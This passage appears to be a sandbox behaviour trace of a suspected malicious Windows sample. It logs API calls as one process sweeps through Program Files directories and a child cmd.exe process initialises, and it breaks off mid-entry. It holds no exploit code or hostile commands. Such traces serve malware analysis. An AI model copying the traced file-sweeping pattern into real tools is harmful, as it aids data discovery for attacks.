lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 0 [0059.572] FindClose (in: hFindFile=0x56f470 | out: hFindFile=0x56f470) returned 1 [0059.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3e90048 | out: hHeap=0x520000) returned 1 [0059.575] FindNextFileW (in: hFindFile=0x56f3f0, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa1983890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1983890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0059.575] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa1983890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1983890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f470 [0059.575] FindNextFileW (in: hFindFile=0x56f470, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa1983890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1983890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.575] FindNextFileW (in: hFindFile=0x56f470, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e82c200, ftCreationTime.dwHighDateTime=0x1d58674, ftLastAccessTime.dwLowDateTime=0x6f8284e0, ftLastAccessTime.dwHighDateTime=0x1d544e2, ftLastWriteTime.dwLowDateTime=0x6f8284e0, ftLastWriteTime.dwHighDateTime=0x1d544e2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0059.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f530 [0059.576] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.576] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0059.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f370 [0059.576] FindNextFileW (in: hFindFile=0x56f370, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.576] FindNextFileW (in: hFindFile=0x56f370, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0059.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f5b0 [0059.578] FindNextFileW (in: hFindFile=0x56f5b0, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.750] FindNextFileW (in: hFindFile=0x56f5b0, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="ACROIE~1.DLL")) returned 1 [0063.284] FindNextFileW (in: hFindFile=0x56f430, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.284] FindNextFileW (in: hFindFile=0x56f430, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252bcdd, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x252bcdd, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab6cf35d, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 Thread: id = 21 os_tid = 0x83c Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x33cf0000" os_pid = "0xa60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7f0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xa90 [0036.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fdf0 | out: lpSystemTimeAsFileTime=0x20fdf0*(dwLowDateTime=0x2168ef80, dwHighDateTime=0x1d5e206)) [0036.254] GetCurrentProcessId () returned 0xa60 [0036.254] GetCurrentThreadId () returned 0xa90 [0036.254] GetTickCount () returned 0x115313e [0036.254] QueryPerformanceCounter (in: lpPerformanceCount=0x20fdf8 | out: lpPerformanceCount=0x20fdf8*=17796983561) returned 1 [0036.255] GetModuleHandleW (lpModuleName=0x0) returned 0x4a820000 [0036.255] __set_app_type (_Type=0x1) [0036.255] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a847810) returned 0x0 [0036.255] __getmainargs (in: _Argc=0x4a86a608, _Argv=0x4a86a618, _Env=0x4a86a610, _DoWildCard=0, _StartInfo=0x4a84e0f4 | out: _Argc=0x4a86a608, _Argv=0x4a86a618, _Env=0x4a86a610) returned 0 [0036.256] GetCurrentThreadId () returned 0xa90 [0036.256] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa90) returned 0x3c [0036.257] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0036.260] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0036.260] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0036.260] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.260] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fd88 | out: phkResult=0x20fd88*=0x0) returned 0x2 [0036.260] VirtualQuery (in: lpAddress=0x20fd70, lpBuffer=0x20fcf0, dwLength=0x30 | out: lpBuffer=0x20fcf0*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.260] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fcf0, dwLength=0x30 | out: lpBuffer=0x20fcf0*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.260] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fcf0, dwLength=0x30 | out: lpBuffer=0x20fcf0*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.260] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20fcf0, dwLength=0x30 | out: lpBuffer=0x20fcf0*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.260] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fcf0, dwLength=0x30 | out: lpBuffer=0x20fcf0*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0036.260] GetConsoleOutputCP () returned 0x1b5 [0036.260] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a85bfe0 | out: lpCPInfo=0x4a85bfe0) returned 1 [0036.261] SetConsoleCtrlHandler (HandlerRoutine=0x4a843184, Add=1) returned 1 [0036.261] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.261] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0036.261] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.261] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a84e194 | out: lpMode=0x4a84e194) returned 0 [0036.261] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.261] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a84e198 | out: lpMode=0x4a84e198) returned 0 [0036.261] GetEnvironmentStringsW () returned 0x338a60* [0036.262] GetProcessHeap () returned 0x320000 [0036.262] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa7c) returned 0x3394f0 [0036.262] FreeEnvironmentStringsW (penv=0x338a60) returned 1 [0036.262] GetProcessHeap () returned 0x320000 [0036.262] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x8) returned 0x3388e0 [0036.262] GetEnvironmentStringsW () returned 0x338a60* [0036.262] GetProcessHeap () returned 0x320000 [0036.262] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa7c) returned 0x339f80 [0036.262] FreeEnvironmentStringsW (penv=0x338a60) returned 1 [0036.262] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20ec48 | out: phkResult=0x20ec48*=0x44) returned 0x0 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x18, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x1, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x1, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x0, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x40, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x40, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.262] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x40, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.263] RegCloseKey (hKey=0x44) returned 0x0 [0036.263] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20ec48 | out: phkResult=0x20ec48*=0x44) returned 0x0 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x40, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x1, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x1, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x0, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x9, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x4, lpData=0x20ec60*=0x9, lpcbData=0x20ec44*=0x4) returned 0x0 [0036.263] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20ec40, lpData=0x20ec60, lpcbData=0x20ec44*=0x1000 | out: lpType=0x20ec40*=0x0, lpData=0x20ec60*=0x9, lpcbData=0x20ec44*=0x1000) returned 0x2 [0036.263] RegCloseKey (hKey=0x44) returned 0x0 [0036.263] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449ae3 [0036.263] srand (_Seed=0x5e449ae3) [0036.263] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0036.263] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0036.263] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a85c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.263] GetProcessHeap () returned 0x320000 [0036.263] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x33aa10 [0036.263] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x33aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0036.264] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.264] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.264] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.264] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0036.264] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0036.264] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0036.264] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0036.264] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0036.264] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0036.264] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0036.264] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0036.264] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0036.264] GetProcessHeap () returned 0x320000 [0036.264] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3394f0 | out: hHeap=0x320000) returned 1 [0036.264] GetEnvironmentStringsW () returned 0x338a60* [0036.264] GetProcessHeap () returned 0x320000 [0036.264] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa94) returned 0x33ac30 [0036.264] FreeEnvironmentStringsW (penv=0x338a60) returned 1 [0036.264] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.264] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.264] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0036.264] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0036.264] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0036.264] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0036.264] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0036.265] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0036.265] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0036.265] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0036.265] GetProcessHeap () returned 0x320000 [0036.265] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x5c) returned 0x33b6d0 [0036.265] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20fa50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x20fa50, lpFilePart=0x20fa30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20fa30*="Desktop") returned 0x25 [0036.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.265] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f760 | out: lpFindFileData=0x20f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x33b740 [0036.265] FindClose (in: hFindFile=0x33b740 | out: hFindFile=0x33b740) returned 1 [0036.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20f760 | out: lpFindFileData=0x20f760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x33b740 [0036.265] FindClose (in: hFindFile=0x33b740 | out: hFindFile=0x33b740) returned 1 [0036.265] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0036.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20f760 | out: lpFindFileData=0x20f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a8da020, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x1a8da020, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x33b740 [0036.266] FindClose (in: hFindFile=0x33b740 | out: hFindFile=0x33b740) returned 1 [0036.266] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.266] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0036.266] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0036.266] GetProcessHeap () returned 0x320000 [0036.266] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ac30 | out: hHeap=0x320000) returned 1 [0036.266] GetEnvironmentStringsW () returned 0x33b740* [0036.266] GetProcessHeap () returned 0x320000 [0036.266] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xae8) returned 0x33c230 [0036.266] FreeEnvironmentStringsW (penv=0x33b740) returned 1 [0036.266] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a85c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.266] GetProcessHeap () returned 0x320000 [0036.266] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33b6d0 | out: hHeap=0x320000) returned 1 [0036.266] GetProcessHeap () returned 0x320000 [0036.266] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, 